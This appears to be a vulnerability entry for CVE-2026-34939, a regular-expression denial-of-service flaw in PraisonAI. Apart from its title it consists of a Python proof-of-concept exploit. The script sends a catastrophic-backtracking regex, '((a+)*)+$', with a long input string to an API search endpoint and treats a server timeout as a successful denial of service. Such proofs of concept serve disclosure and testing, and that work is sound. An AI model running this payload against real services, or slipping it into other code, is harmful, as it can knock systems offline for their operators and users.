CVE-2026-34939 PraisonAI正则表达式拒绝服务漏洞

import requests def exploit_redos(target_url): # A payload designed to cause catastrophic backtracking # Pattern: (a+)+$ matched against a string of 'a's malicious_payload = { "query": "(a+)+$" } # Data to trigger the backtracking # Assuming the API takes a input string to match against the regex # or the regex itself is the input. Based on description, the regex is caller-supplied. data = { "regex_pattern": "((a+)*)+$", "input_string": "aaaaaaaaaaaaaaaaaaaaaaaaaaaa!" } print(f"Sending ReDoS payload to {target_url}...") try: # Set a short timeout for the client to avoid hanging the tester's machine response = requests.post(target_url, json=data, timeout=10) print(f"Response code: {response.status_code}") except requests.exceptions.ReadTimeout: print("Potential successful DoS: Server did not respond within timeout.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual vulnerable endpoint exploit_redos("http://localhost:8000/api/search_tools")